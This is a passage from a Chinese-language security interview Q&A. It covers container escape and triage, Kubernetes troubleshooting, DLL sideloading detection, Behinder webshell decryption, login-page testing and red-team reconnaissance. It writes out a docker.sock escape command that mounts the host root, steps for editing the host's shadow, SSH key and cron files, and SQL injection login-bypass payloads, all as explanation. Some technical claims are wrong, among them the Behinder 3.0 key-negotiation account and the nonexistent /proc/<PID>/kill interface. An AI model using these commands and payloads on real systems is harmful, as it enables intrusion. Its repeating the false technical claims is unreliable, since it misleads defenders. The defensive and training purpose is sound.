可能泄露宿主机进程信息,甚至进行进程注入(需配合其他能力)。挂载宿主机 /etc, /root, /home 等敏感目录。共享宿主机命名空间 (Sharing Host Namespaces):--net=host: 共享宿主机网络栈,可以监听宿主机所有网络流量,访问宿主机 localhost 服务。--pid=host: 共享宿主机 PID 命名空间,可以看到宿主机所有进程。--ipc=host: 共享宿主机 IPC 命名空间。--uts=host: 共享宿主机 UTS 命名空间 (主机名)。危险的 Linux 能力 (--cap-add):赋予容器内进程过高的 Linux Capabilities。SYS_ADMIN: 超级能力,可以执行 mount、修改 namespace 等大量特权操作。SYS_PTRACE: 允许调试和跟踪任意进程(包括宿主机进程,如果 PID 命名空间共享或能突破)。DAC_READ_SEARCH / DAC_OVERRIDE: 绕过文件读写和执行权限检查。禁用安全模块 (--security-opt seccomp=unconfined, --security-opt apparmor=unconfined): 关闭 Seccomp(限制 syscall)、AppArmor/SELinux(强制访问控制)等安全防护。软件漏洞 (Vulnerabilities):内核漏洞 (Kernel Vulnerabilities): 容器与宿主机共享内核。如果内核存在提权漏洞(如 Dirty COW, Dirty Pipe),在容器内利用该漏洞可以直接获得宿主机权限。这是最彻底的逃逸方式。容器运行时漏洞 (Container Runtime Vulnerabilities): Docker、containerd、runC、CRI-O 等运行时本身可能存在漏洞,允许从容器内部影响或控制运行时,从而逃逸。例如著名的 runC 漏洞 (CVE-2019-5736)。容器编排工具漏洞 (Orchestrator Vulnerabilities): Kubernetes 等编排工具自身的组件如果存在漏洞,也可能被利用来提升权限或操作宿主机。挂载逃逸原理:Docker Socket 挂载原理: Docker Daemon (宿主机上的服务) 监听一个 Unix Socket 文件 (/var/run/docker.sock) 来接收 Docker API 命令。如果把这个 Socket 文件挂载进容器,容器内的进程(需要有读写该 socket 的权限)就可以像宿主机上的 docker 客户端一样,向 Docker Daemon 发送指令,例如 docker run --privileged -v /:/host ubuntu bash,从而创建一个能完全访问宿主机的新容器,实现逃逸。宿主机根目录挂载原理: 将宿主机的根文件系统 / 挂载到容器的某个目录下(如 /host)。容器内的 root 用户(通常 UID 0)就可以直接访问和修改 /host 目录下的所有内容,等同于直接访问和修改宿主机的文件系统。可以修改 /host/etc/passwd, /host/etc/shadow, /host/root/.ssh/authorized_keys, 添加 cron 任务到 /host/etc/cron.d 等方式获得宿主机权限或持久化。容器逃逸的主要方式 (Methods):利用特权模式 (--privileged): 直接利用赋予的强大权限访问宿主机资源。利用 Docker Socket 挂载: 通过 Docker API 控制宿主机 Docker。利用敏感目录挂载: 直接读写宿主机文件系统。利用危险的 Capabilities: 如使用 SYS_ADMIN 执行特权操作。利用内核漏洞: 在容器内触发宿主机内核漏洞提权。利用容器运行时漏洞: 攻击 runC/containerd/dockerd 本身。利用 Namespace 配置不当或漏洞: 找到方法切换或突破 Namespace 隔离。排查容器中的恶意攻击(假设已有安全设备监控):确认目标容器/Pod: 安全设备告警通常会关联到具体的容器 ID、Pod 名称、镜像名称或运行在哪个宿主机节点上。使用 docker ps 或 kubectl get pods -o wide 定位。检查容器运行配置:docker inspect <container_id> 或 kubectl describe pod <pod_name> -n <namespace>。重点关注: 是否是特权容器 (Privileged: true)?是否有敏感挂载 (Mounts)?是否共享了宿主机命名空间 (HostNetwork, HostPID, HostIPC)?添加了哪些 Capabilities (CapAdd)?安全配置 (SecurityOpts) 是否被禁用?隔离容器/节点(如果可行): 限制容器的网络访问,或者将整个节点设置为不可调度 (kubectl cordon <node_name>) 并迁移其他 Pod (kubectl drain <node_name>)。进入容器内部排查:docker exec -it <container_id> bash 或 kubectl exec -it <pod_name> -n <namespace> [-c <container_name>] -- bash进程检查: ps aux, top。是否有不属于该容器应用的异常进程?网络检查: netstat -antup, ss -antup。是否有对外的 C2 连接?是否有异常监听端口?文件检查: 检查 /tmp, 用户目录, 应用目录,是否有攻击者上传的工具、脚本、恶意文件?是否有异常修改的文件?find / -mtime -1 查找最近修改。历史命令: history。环境变量: env。是否有敏感信息泄露或被篡改?Cron 任务: crontab -l (如果容器内安装了 cron)。检查容器日志:docker logs <container_id> 或 kubectl logs <pod_name> -n <namespace> [-c <container_name>]。查找应用错误、异常访问记录、攻击载荷痕迹。检查宿主机节点:登录容器所在的宿主机节点 (Worker Node)。系统日志: journalctl, /var/log/syslog。查找与该容器相关的错误、内核消息、安全事件。Docker/Containerd 日志: journalctl -u docker 或 journalctl -u containerd。查找容器启动失败、运行时错误等信息。宿主机进程: 查看容器进程在宿主机上的状态 (ps aux | grep <container_main_pid>)。资源监控: top, htop, docker stats。容器是否占用了异常高的 CPU/内存/网络?检查挂载点: 如果容器挂载了宿主机目录,检查宿主机上对应目录的文件是否有被篡改。利用容器安全工具:如果部署了 Falco, Sysdig Secure, Aqua Security, Twistlock 等运行时安全工具,检查这些工具的告警日志。它们通常能检测到可疑的系统调用、文件访问、网络行为,甚至已知的逃逸尝试。镜像分析(如果怀疑镜像本身有问题):使用 Trivy, Clair 等工具扫描容器镜像是否存在已知的 CVE 漏洞。拉取镜像,手动检查镜像内容是否有被植入后门。16. k8s 那几个组件构成?k8s 中发现恶意流量要怎么排查?k8s 实操命令?k8s 和 docker 出现问题排查思路?k8s,pod 外联该怎么操作?定位 pod 排查集群?进 pod,怎么分步查询?k8s 组件构成:Kubernetes (k8s) 采用 Master-Node 架构(现在更倾向于叫 Control Plane 和 Worker Node):Control Plane (控制平面) 组件:负责集群的管理和决策。kube-apiserver: 集群的统一入口,提供 K8s API 服务,所有组件都通过它通信。etcd: 分布式键值存储,保存集群的所有状态数据(配置、对象定义等),是集群的“大脑”。kube-scheduler: 负责决定新创建的 Pod 应该调度到哪个 Node 上运行。kube-controller-manager: 运行一系列控制器(如 Node Controller, Deployment Controller, Service Controller),负责维护集群状态,确保实际状态与期望状态一致。cloud-controller-manager (可选): 与底层云平台(如 AWS, Azure, GCP)交互,管理云资源(如负载均衡器、存储卷)。Worker Node (工作节点) 组件:负责运行用户的工作负载(容器)。kubelet: 运行在每个 Node 上的代理,负责与 API Server 通信,管理本机上的 Pod 和容器的生命周期。kube-proxy: 负责维护 Node 上的网络规则(如 iptables, IPVS),实现 Service 的负载均衡和访问。Container Runtime: 负责实际运行容器的软件,如 Docker, containerd, CRI-O。Kubelet 通过 CRI (Container Runtime Interface) 与之交互。k8s 中发现恶意流量的排查思路:定位流量源/目标 Pod:获取信息: 从 NTA、防火墙、云流日志或 K8s 网络监控工具(如 Cilium Hubble)获取恶意流量的源 IP 或目标 IP。查找 Pod IP: 使用 kubectl get pods -A -o wide | grep <Pod_IP> 找到 IP 对应的 Pod 名称和 Namespace。查找 Service IP: 如果是 Service IP,使用 kubectl get svc -A | grep <Service_IP> 找到 Service 名称和 Namespace。然后 kubectl describe svc <svc_name> -n <namespace> 查看 Endpoints,找到后端 Pods 的 IP 列表,再反查 Pod。检查 Pod 配置和状态:kubectl describe pod <pod_name> -n <namespace>: 查看 Pod 的详细信息,包括:运行在哪个 Node 上、使用的镜像、挂载的卷、安全上下文 (Security Context)、最近的事件 (Events) 等。检查容器日志:kubectl logs <pod_name> -n <namespace> [-c <container_name>]: 查看容器的标准输出和错误日志。寻找异常信息、错误、攻击痕迹。进入容器内部排查:kubectl exec -it <pod_name> -n <namespace> [-c <container_name>] -- bash (或其他 shell)内部进程检查: ps aux, top。内部网络检查: netstat -antup, ss -antup。确认恶意连接。内部文件检查: ls -la, find, cat。查找恶意文件、工具。历史命令: history。检查运行节点 (Node):获取 Pod 运行的 Node 名称 (kubectl get pod <pod_name> -n <namespace> -o wide)。SSH 登录到该 Node。检查 kubelet 日志: journalctl -u kubelet。检查容器运行时日志: journalctl -u docker / journalctl -u containerd。检查系统日志: journalctl, /var/log/syslog。检查 Node 上的网络连接 (ss, netstat) 和进程 (ps)。检查网络策略 (Network Policy):kubectl get networkpolicy -n <namespace>: 查看该 Namespace 是否有 NetworkPolicy 限制了 Pod 的出入站流量。策略是否配置正确?是否存在允许恶意流量的规则?检查 K8s API Server 审计日志: (如果开启了)审计日志记录了对 K8s API 的所有请求,可以帮助追踪恶意 Pod 是如何被创建或修改的,或者是否有未经授权的 API 访问。K8s 实操命令 (常用):kubectl get nodes: 查看集群节点状态。kubectl get pods [-n <namespace>] [-A] [-o wide]: 查看 Pods。kubectl describe pod <pod_name> [-n <namespace>]: 查看 Pod 详细信息。kubectl logs <pod_name> [-n <namespace>] [-c <container_name>] [-f]: 查看 Pod 日志。kubectl exec -it <pod_name> [-n <namespace>] [-c <container_name>] -- <command>: 进入 Pod 或执行命令。kubectl get svc [-n <namespace>] [-A]: 查看 Services。kubectl describe svc <svc_name> [-n <namespace>]: 查看 Service 详细信息。kubectl get deployment|statefulset|daemonset [-n <namespace>] [-A]: 查看工作负载。kubectl scale deployment <dep_name> --replicas=N: 伸缩 Deployment。kubectl apply -f <yaml_file>: 创建或更新资源。kubectl delete -f <yaml_file> / kubectl delete pod|svc|... <resource_name>: 删除资源。kubectl config get-contexts: 查看可用上下文。kubectl config current-context: 查看当前上下文。kubectl config use-context <context_name>: 切换上下文。kubectl top pod|node: 查看资源使用情况(需部署 metrics-server)。kubectl get events [-n <namespace>] [-A]: 查看集群事件。K8s 和 Docker 出现问题排查思路:问题层面判断:Pod 无法启动/调度 (Pending):大概率是 K8s 层面的问题。kubectl describe pod ... 看 Events:资源不足?节点 Taints 不匹配?镜像拉取失败 (ImagePullBackOff)?网络插件问题?存储卷挂载失败?Pod 运行中但服务异常 (Running but not Ready/Working):可能是 K8s 网络层面,也可能是容器/应用层面。kubectl logs ...: 看应用日志。kubectl exec ...: 进容器看进程、网络、配置。检查 Service 和 Endpoints 是否正确。检查 NetworkPolicy 是否阻止了正常流量。Pod 反复重启 (CrashLoopBackOff):大概率是容器/应用层面的问题。kubectl logs --previous ...: 看上次崩溃前的日志,找错误原因(程序 bug、配置错误、OOMKilled)。kubectl describe pod ...: 检查资源限制 (Limits) 是否太低。Node 故障 (NotReady):是 Node 自身或 Node 组件的问题。SSH 到 Node,检查 kubelet、容器运行时 (docker/containerd) 服务状态和日志。检查 Node 资源(磁盘、内存、CPU)。检查 Node 网络连接。Docker 问题(如果 K8s 使用 Docker 作为运行时):在 Node 上使用 docker ps -a 查看 K8s 管理的容器和可能存在的其他容器。docker inspect <container_id> 查看容器详细配置。docker logs <container_id> 查看容器日志(和 kubectl logs 通常一致)。systemctl status docker / journalctl -u docker 查看 Docker 服务状态和日志。docker system df 查看 Docker 占用的磁盘空间。k8s, Pod 外联该怎么操作 (处置 Pod 外联)?:排查(同上): 找到外联的 Pod -> kubectl describe 看配置 -> kubectl logs 看日志 -> kubectl exec 进 Pod 查进程、网络、文件。处置/控制:删除恶意 Pod: kubectl delete pod <pod_name> -n <namespace> (如果 Pod 是由 Deployment 等控制器管理的,它会被自动重建,需要删除或修改控制器)。限制网络访问 (Network Policy):这是 K8s 原生的控制方式。创建 Egress 类型的 NetworkPolicy,只允许 Pod 连接到必要的、已知的外部地址,默认拒绝其他所有外联。YAMLapiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: allow-specific-egress namespace: my-namespace spec: podSelector: matchLabels: app: my-app # Select pods with this label policyTypes: - Egress egress: - to: - ipBlock: cidr: 1.2.3.4/32 # Allow specific IP - to: - namespaceSelector: # Allow traffic to any pod in any namespace (adjust as needed) # Add more rules for allowed domains (requires DNS policy support in CNI) or ports # If no rules match, egress is denied by default if policyTypes includes Egress使用 Service Mesh: Istio 等服务网格提供更精细的 Egress 流量控制和监控。节点级防火墙: 在 Node 上使用 iptables 或云提供商的安全组限制出站流量(粒度较粗)。透明代理: 配置让 Pod 的出站流量强制通过一个 Egress Proxy 进行过滤。定位 pod 排查集群?进 pod,怎么分步查询? (这部分与前面有重叠,精简整合)定位 Pod:已知 Pod 名/标签/Namespace:直接使用 kubectl get/describe/logs/exec。已知 Pod IP:kubectl get pods -A -o wide | grep <IP>。已知 Service IP:kubectl describe svc ... 找 Endpoints -> Pod IP -> Pod。排查集群 (概览):kubectl get nodes -o wide (节点状态、IP、版本)kubectl get pods -A (所有 Pods 状态)kubectl get events -A --sort-by='.lastTimestamp' (近期事件,找 Error/Warning)kubectl top node/pod -A (资源使用情况)检查 kube-system namespace 下的核心组件 Pod 状态。进 Pod 分步查询 (Checklist):ps auxwf (进程树) / top (实时资源) -> 找异常进程。ss -antup / netstat -antup -> 找异常监听/连接。ls -la /proc/<PID>/exe, cat /proc/<PID>/cmdline, lsof -p <PID> -> 分析可疑进程。history -> 看执行过的命令。find / -mtime -1 -type f -> 找最近修改的文件。检查应用日志、配置文件。env -> 检查环境变量。df -h -> 检查挂载点和磁盘使用。17. 中了白加黑要怎么排查?马用了白+黑,如何去电脑上定位?linux 和 windows 如何定位?什么是“白加黑”攻击?“白加黑”(DLL Sideloading / DLL Hijacking)是一种常见的攻击手法。攻击者利用了操作系统加载动态链接库(DLL,在 Windows 中;或者 Shared Object, .so,在 Linux 中)的机制。“白”文件: 指一个合法的、通常带有数字签名的可执行文件(.exe)。这个程序本身没有恶意代码。“黑”文件: 指一个恶意的动态链接库(.dll 或 .so),通常伪装成“白”文件正常运行时需要加载的某个合法库。攻击原理: 攻击者将“白”文件和“黑”文件放在同一个目录下(或者利用 DLL/SO 搜索顺序的优先级),当用户运行“白”文件时,操作系统或程序本身会优先加载同目录下的“黑”DLL/SO,而不是系统目录下的合法 DLL/SO。这样,“白”程序的行为就被“黑”DLL 中的恶意代码劫持了,从而执行恶意操作(如连接 C2、窃取信息等),同时“白”程序可能看起来仍在正常运行,具有很强的迷惑性。排查思路与定位方法:核心思路是找到那个“行为异常的合法进程(白)”,然后检查它加载的模块(DLL/SO),看是否有从非标准路径加载的、可疑的模块(黑)。Windows 环境排查与定位:识别可疑的“白”进程:告警来源: EDR、NTA 或杀毒软件可能会告警某个看似合法的进程(如 Teams.exe, OneDrive.exe, WeChat.exe, AnyDesk.exe, 甚至系统程序)发起了恶意网络连接、执行了敏感命令或有其他异常行为。手动观察: 任务管理器中发现某个合法程序 CPU、内存或网络占用异常。检查进程加载的 DLL 模块(关键步骤):使用 Process Explorer 或 Process Hacker:找到可疑的“白”进程。查看该进程加载的 DLL 列表(通常在下方面板选择 "DLLs" 视图)。重点关注:加载路径 (Path): 是否有 DLL 不是从 C:\Windows\System32, C:\Windows\SysWOW64 或该程序正常的安装目录加载的?特别是,是否从该“白”exe 文件所在的目录下加载了 DLL? 这通常是 DLL Sideloading 的最明显特征。数字签名 (Verified Signer): 检查可疑路径加载的 DLL 是否有有效的数字签名?通常“黑”DLL 是没有签名或签名无效/伪造的。DLL 名称: “黑”DLL 的名称通常会与一个合法的系统 DLL 或程序依赖的 DLL 同名。文件系统检查:定位“白”文件: 找到那个行为异常的 .exe 文件。它是在正常的安装路径下(如 C:\Program Files\...)还是被复制到了其他地方(如 C:\Users\Public\, C:\ProgramData\, %APPDATA%, %TEMP%, 下载目录等)?检查同目录文件: 查看该 .exe 文件所在的目录下,是否存在一个或多个 DLL 文件?这些 DLL 文件是否符合上述“黑”DLL 的特征(名称可疑、无签名、加载路径异常)?文件属性分析: 检查可疑 DLL 的 Hash 值(提交 VirusTotal 分析)、创建/修改时间、大小等。检查持久化机制:这个“白+黑”组合是如何自启动的?使用 Autoruns 工具检查:注册表 Run/RunOnce 键。计划任务 (Task Scheduler)。服务 (Services)。启动文件夹 (Startup folder)。是否有快捷方式 (LNK 文件) 指向被移动位置的“白”exe?日志分析:Sysmon 日志: Event ID 7 (Image Loaded / DLL Load) 记录了哪个进程加载了哪个 DLL 及其路径,是定位 DLL Sideloading 的直接证据。Windows 事件日志: Security Log ID 4688 (Process Creation) + 命令行参数,可能看到“白”程序是如何被启动的。EDR/AV 日志: 查看相关告警和历史记录。Linux 环境排查与定位(类似概念,技术细节不同):Linux 下虽然不叫 DLL Sideloading,但有类似通过劫持共享对象 (.so) 加载机制的方法:识别可疑进程: 同 Windows,发现某个看似正常的进程行为异常。检查 LD_PRELOAD 环境变量:cat /proc/<PID>/environ | tr '\0' '\n' | grep LD_PRELOADLD_PRELOAD 环境变量可以强制进程在加载任何其他库之前,优先加载指定的 .so 文件。这是 Linux 下常见的劫持方式。检查是否有恶意的 .so 文件被预加载。检查运行时链接器搜索路径:ldd /path/to/executable: 查看程序依赖哪些共享库以及它们被解析到的路径。/etc/ld.so.conf 和 /etc/ld.so.conf.d/: 这些文件(夹)定义了动态链接器查找 .so 文件的默认路径顺序。检查是否有可疑路径被添加,或者有恶意的 .so 文件被放置在优先级高的路径下(如 /usr/local/lib 可能优先于 /usr/lib)。运行 ldconfig -p 查看当前的库缓存。RPATH / RUNPATH: 使用 readelf -d /path/to/executable | grep 'RPATH\|RUNPATH' 查看可执行文件是否硬编码了特定的库搜索路径。攻击者可能修改程序的 RUNPATH 或将恶意 .so 放入 RPATH 指向的目录。检查进程加载的共享对象:cat /proc/<PID>/maps | grep '.so' 或 lsof -p <PID> | grep '.so'查看进程实际加载了哪些 .so 文件以及它们的完整路径。寻找从非标准位置加载的库。文件系统检查:找到可疑进程对应的可执行文件。检查该可执行文件所在目录、LD_PRELOAD 指向的目录、高优先级库路径下是否有与正常库同名的恶意 .so 文件。分析可疑 .so 文件的属性 (hash, size, permissions, strings)。检查持久化:.bashrc, .profile, /etc/profile 等文件是否设置了 LD_PRELOAD 环境变量?cron 任务、systemd 服务、init.d 脚本是否启动了可疑的程序或设置了环境变量?日志分析:syslog, auth.log, auditd 日志(如果配置了系统调用审计)。总结定位方法: 关键是找到“白”进程,然后检查它加载的动态库的来源路径和签名/属性。Windows 下 Process Explorer/Hacker 和 Sysmon 是利器;Linux 下重点检查 LD_PRELOAD、链接器路径和 /proc/<PID>/maps。18. 冰蝎 3.0 4.0 加密方法?冰蝎的流量是加密的,要怎么解密?最大特征是什么?解密思路?冰蝎 (Behinder) 加密与解密(以 3.0 及后续版本为例):冰蝎是一款流行的、以强加密通信著称的 Webshell 管理工具。加密方法 (Encryption Method):动态密钥协商: 冰蝎 3.0 及后续版本不再使用固定的硬编码密钥。它在建立连接时有一个密钥协商过程。客户端(攻击者工具)和服务器端(Webshell 脚本)会基于预共享的连接密码(你在连接时输入的那个密码),结合一些随机数或会话相关信息,通过一个双方约定的算法(如 KDF - Key Derivation Function)动态生成一个临时的会话密钥(通常是 16 字节)。对称加密: 使用协商好的会话密钥,采用 AES-128 对称加密算法对后续传输的命令和数据进行加密。加密模式可能是 ECB 或 CBC(具体版本可能有差异,CBC 更安全)。数据传输: 加密后的数据通常会进行 Base64 编码,然后放在 HTTP 请求的 Body 或特定参数中发送。响应也同样经过加密和编码。流量解密 (How to Decrypt):核心前提:必须获取连接密码! 由于会话密钥是基于连接密码动态生成的,没有密码就无法推导出正确的会话密钥。获取密码的途径:找到 Webshell 文件: 在服务器上找到冰蝎的 Webshell 脚本文件(如 .php, .jsp, .aspx),其源码中通常包含了密码(可能是明文、简单的 Base64 或需要逆向一小段代码)。内存 Dump 分析: Dump Web 服务器进程(如 Tomcat JVM, PHP-FPM 进程)的内存,搜索内存中的字符串,有可能找到密码或者已经协商好的会话密钥。配置文件/日志: 攻击者可能在其他地方(如配置文件、操作日志)意外留下了密码。解密步骤(已知密码):抓取流量: 使用 Wireshark 或其他抓包工具捕获客户端和服务器之间的完整 HTTP 通信 Pcap 包。分析协议细节: 需要了解你所面对的具体冰蝎版本的密钥协商过程(如何从密码和交互数据生成会话密钥)和 AES 加密细节(模式、填充方式)。这通常需要逆向分析冰蝎客户端或 Webshell 源码。提取关键信息: 从抓包数据中提取出会话密钥生成所需的动态部分(如随机数、时间戳等,取决于版本)以及加密的请求/响应 Body。编写/使用解密工具:使用 Python (pycryptodome库) 等语言,根据分析得到的协议和获取的密码,编写脚本来:模拟密钥协商过程,计算出会话密钥。对提取出的 Base64 数据进行解码。使用计算出的会话密钥和正确的 AES 参数(模式、IV - 如果是 CBC 模式)解密数据。特定工具: 社区可能存在针对特定版本冰蝎的解密工具或脚本,可以搜索利用。最大特征 (Key Characteristics of Traffic):强加密载荷: HTTP 请求/响应 Body 内容是 Base64 编码的、看起来是乱码的加密数据,没有明文的命令或代码。这是最核心的特征。固定的 Accept* 头(可被修改): 冰蝎默认请求头中 Accept, Accept-Language, Accept-Encoding 字段可能是固定的、比较典型的浏览器值,但攻击者可以修改。特定的 Content-Type(较稳定): 请求的 Content-Type 常常是 application/octet-stream 或类似的值,表示二进制数据流。短连接 & User-Agent(可变): 可能使用短连接 (Connection: close)。User-Agent 默认是一个 Java 的 UA,但极易被修改。响应头: 响应头中可能包含特定字段用于密钥协商(早期版本)或状态指示。URL 请求: 请求指向一个固定的 Webshell 文件路径(如 shell.jsp)。解密思路总结: 抓包 -> 获取密码 -> 分析对应版本协议(密钥协商+AES细节) -> 提取流量关键信息 -> 写脚本/用工具解密。核心在于获取密码和理解协议。无密码解密极其困难,主要靠内存取证。19. 给你一个登陆页面要怎么测?测试登录页面是 Web 渗透测试的基础,需要全面覆盖认证、授权、会话管理、输入验证等多个方面。主要测试点包括:信息收集与初步探测:查看页面源代码:寻找隐藏字段、注释、JavaScript 文件(分析 JS 逻辑)、API 端点。检查 HTTP 请求/响应头:服务器类型、使用的技术栈、Set-Cookie 指令、安全相关的头(CSP, HSTS, X-Frame-Options 等)。识别框架/CMS:使用 Wappalyzer 等工具识别网站使用的技术。认证机制测试:用户名枚举:尝试使用有效和无效的用户名,观察服务器的响应信息(错误提示、响应时间)是否不同。目标是找出有效的用户名。检查忘记密码功能是否泄露用户信息(“用户不存在” vs “密码重置邮件已发送”)。密码猜测与暴力破解:尝试常见弱密码(如 123456, password, admin)和默认密码(admin/admin 等)。检查是否有账户锁定机制?锁定阈值是多少?锁定时间多长?是否可以绕过(例如通过伪造 X-Forwarded-For 头)?使用工具(如 Hydra, Burp Intruder)进行字典暴力破解(针对少量用户)或密码喷洒(使用少量密码尝试大量用户)。认证绕过尝试:SQL 注入: 在用户名和密码字段尝试 SQL 注入 Payload(如 ' or 1=1--, ' or 'a'='a)。NoSQL 注入: 如果后端是 NoSQL 数据库。参数篡改: 尝试提交空密码、不存在的参数,或修改隐藏字段的值。逻辑漏洞: 能否通过特殊字符或方式绕过验证逻辑?会话管理测试:Cookie 安全性:检查 Session ID Cookie 的属性:HttpOnly? Secure? SameSite? Path? Domain?Session ID 是否足够随机和长,难以猜测?Cookie 是否在注销后被正确清除或失效?会话固定 (Session Fixation): 能否在用户登录前设置一个 Session ID,用户登录后服务器继续使用这个 ID?会话超时: 是否有合理的会话超时机制?输入验证与漏洞测试:跨站脚本 (XSS): 在用户名、密码(可能不回显)或其他可见字段(如“记住我”)尝试注入 XSS Payload。检查错误信息中是否反射了输入?Host 头注入: 修改 HTTP Host 头,看是否影响页面行为或密码重置链接。CRLF 注入: 在输入字段或 HTTP 头中尝试注入 CRLF 字符 (\r\n),看是否能注入额外的 HTTP 头或分割响应。拒绝服务 (DoS): 输入超长用户名/密码,或发送大量并发登录请求(谨慎测试)。密码重置功能测试(如果存在):密码重置凭证(Token)是否足够随机、有时效性、一次性?重置链接中的 Token 是否可以通过 Host 头注入等方式发送到攻击者控制的域?重置过程是否会泄露用户信息?能否通过暴力破解重置 Token?传输层安全测试:登录请求是否通过 HTTPS 发送?TLS/SSL 配置是否安全(协议版本、密码套件、证书有效性)?是否启用了 HSTS?测试工具: Burp Suite 是测试登录页面的核心工具,用于拦截、修改、重放请求,以及进行 Intruder 攻击(爆破、枚举)。20. 红队思路?域名收集思路?互联网收集思路?平台账号密码泄露,有哪些攻击面?红队思路 (Red Teaming Methodology):红队模拟真实、有目标的攻击者,旨在评估蓝队(防御方)的检测和响应能力,并发现组织安全体系中的深层弱点。其思路特点:目标导向 (Objective-Driven): 不只是找漏洞,而是要达成特定目标(如获取域控权限、窃取指定数据、模拟特定 APT 组织的攻击链)。隐蔽优先 (Stealth Focus): 强调规避检测,模仿真实攻击者的 TTPs,使用低调的技术,避免触发告警。这涉及 OPSEC(操作安全)。全链条模拟 (Full Kill Chain Simulation): 覆盖从信息收集、初始访问、持久化、提权、内网侦察、横向移动到达成目标的完整攻击路径。对抗性 (Adversarial): 主动尝试绕过安全设备(EDR, NTA, WAF, SIEM 规则),测试蓝队的响应速度和有效性。持续性 (Persistence): 建立多个隐蔽的后门和 C2 通道,确保在某个点被发现后仍能维持访问。以防御评估为核心: 最终目的是帮助组织识别监控盲点、响应弱点,并改进整体安全态势。域名收集思路 (Domain Reconnaissance):目标是尽可能全面地发现目标组织拥有的以及相关的域名/子域名。起始点: 获取目标主域名(如 example.com)。子域名挖掘:搜索引擎: Google (site:*.example.com), Bing 等。在线工具/平台: VirusTotal, DNSDumpster, SecurityTrails, RiskIQ, ThreatBook 等提供的被动 DNS 数据。证书透明度日志 (Certificate Transparency Logs): crt.sh, Censys 等,搜索 %.example.com 的证书记录。暴力枚举/字典: 使用工具 subfinder, assetfinder, amass, ksubdomain, massdns 等配合字典(如 SecLists)进行爆破。ASN 信息反查: 找到目标的 ASN 号 -> 确定 IP 段 -> 对 IP 段进行反向 DNS 查询。源码/JS 文件分析: 分析目标网站的 JavaScript 文件,可能硬编码了 API 端点或其他子域名。第三方关系: 分析合作伙伴、子公司、收购的公司等,可能有关联域名。Zone Transfer (AXFR): 尝试对权威 DNS 服务器进行域传送(成功率低)。互联网收集思路 (Broader Internet Recon / OSINT):目标是构建目标组织的整体互联网暴露面,包括 IP、云资源、代码、人员信息等。IP 地址发现:通过域名解析获得 IP。ASN 查询获得 IP 段。Shodan, Censys, ZoomEye, Fofa 等网络空间搜索引擎搜索公司名、域名、ASN、特定端口/服务。云资产发现:搜索公共存储桶/容器 (S3, Azure Blob, GCS),使用 cloud_enum 等工具。识别云服务提供商(从 IP 段、DNS 记录判断)。查找云服务登录入口。代码与凭证泄露:GitHub, GitLab, Gitee 等代码托管平台搜索公司名、项目名、员工 ID。使用 truffleHog, gitleaks, GitGuardian 等工具扫描泄露的 API Key、密码、配置文件。人员与组织信息:LinkedIn: 员工职位、使用的技术、组织架构。社交媒体、公司官网、新闻稿。数据泄露库 (HaveIBeenPwned, Dehashed): 查询员工邮箱/用户名是否在已知泄露事件中。技术栈识别:Wappalyzer (浏览器插件)。分析 HTTP 头、网页源码、错误信息。职位招聘信息。历史信息: Wayback Machine 查看网站历史快照。平台账号密码泄露的攻击面:当一个平台的账号密码(用户名/邮箱 + 密码)发生泄露后,攻击者主要利用这些信息进行以下攻击:凭证填充 (Credential Stuffing):最主要、最直接的攻击。攻击者使用泄露的用户名/密码对,去尝试登录其他的网站和平台。因为很多用户会在多个平台使用相同或相似的密码。目标平台可能包括:企业内部系统: 邮箱 (O365/Exchange)、VPN、内网 OA、代码库 (GitLab)、堡垒机、RDP/SSH。重要 SaaS/云服务: AWS/Azure/GCP 控制台、Salesforce、Slack、财务系统、HR 系统。个人关联账户: 如果泄露的是个人常用密码,可能危及与工作相关的个人云存储、社交媒体等。账户接管 (Account Takeover - ATO):一旦凭证填充成功,攻击者就接管了账户。后续攻击包括:数据窃取: 访问并下载邮件、文件、客户数据、源代码等。内部钓鱼/诈骗: 利用被盗账户向同事或客户发送钓鱼邮件或诈骗信息。权限提升/横向移动: 利用被盗账户的权限访问更多内部资源。部署恶意软件/勒索软件。建立持久化: 如设置邮件转发规则、添加备用登录方式。密码模式分析与猜测:如果同一用户的多个密码泄露,攻击者可能分析出用户的密码习惯(如 公司名+年份+!, 名字+生日),从而猜测其他未泄露账户的密码。安全问题利用:泄露的数据可能包含用户的安全问题和答案,攻击者可能利用这些信息尝试通过“忘记密码”功能重置其他账户的密码。社会工程学:利用泄露的个人信息(结合其他 OSINT 数据)对用户进行更精准的钓鱼或 Vishing(语音诈骗)。21. shell 没有默认 k 会怎么做?这个问题有点模糊,“没有默认 k”可能指代不同的情况。这里提供几种可能的解释和应对方法:解释一:某个常用的快捷键(如涉及 'k' 字母)不工作?排查思路:检查终端模拟器设置: 不同的终端(如 GNOME Terminal, Konsole, iTerm2, PuTTY, SecureCRT)有自己的快捷键绑定,可能与 Shell 冲突或未配置。查看终端的键盘/快捷键设置。检查 Shell 配置: 查看 Shell 的配置文件(如 ~/.bashrc, ~/.zshrc, ~/.inputrc)。使用 bind -p (Bash) 或 bindkey (Zsh) 查看当前的按键绑定。可能是配置错误或被覆盖。检查 stty 设置: stty -a 查看终端行设置。错误的设置可能导致某些控制字符失效。可以尝试 stty sane 恢复默认设置。远程连接问题 (SSH): 检查 SSH 客户端和服务器端的终端类型设置 (TERM 环境变量) 是否匹配。尝试其他终端: 换一个终端模拟器试试,判断是 Shell 问题还是终端问题。解释二:kill 命令不可用或找不到?(k -> kill)排查思路:检查 PATH 环境变量: echo $PATH,确认包含 kill 命令的目录(通常是 /bin 或 /usr/bin)在 PATH 中。使用绝对路径: 尝试 /bin/kill <PID> 或 /usr/bin/kill <PID>。查找替代命令: pkill <process_name>, killall <process_name>。使用 /proc 文件系统 (Linux): 如果有权限,可以 echo <signal_number> > /proc/<PID>/kill (例如 echo 9 > /proc/1234/kill 发送 SIGKILL)。使用调试器: gdb -p <PID>,然后 kill 或 quit。检查 BusyBox: 如果系统使用 BusyBox,它通常内置了 kill applet。终极手段: 如果以上都不行且必须终止进程,只能考虑重启 (reboot)。解释三:Shell 无法保持连接(Keep-alive 问题)?(k -> keep-alive)应对方法:使用终端复用器: 强烈推荐! 在远程服务器上启动 tmux 或 screen,然后在复用器的会话中工作。即使 SSH 连接断开,工作会话也会在服务器上保持运行。重新连接 SSH 后,使用 tmux attach 或 screen -r 即可恢复会话。配置 SSH Keep-alive:客户端: 编辑 ~/.ssh/config,添加 ServerAliveInterval 60 (每 60 秒向服务器发送一个保持连接的包)。服务器端: 编辑 /etc/ssh/sshd_config,设置 ClientAliveInterval 60 和 ClientAliveCountMax 3 (服务器每 60 秒检查一次客户端,如果 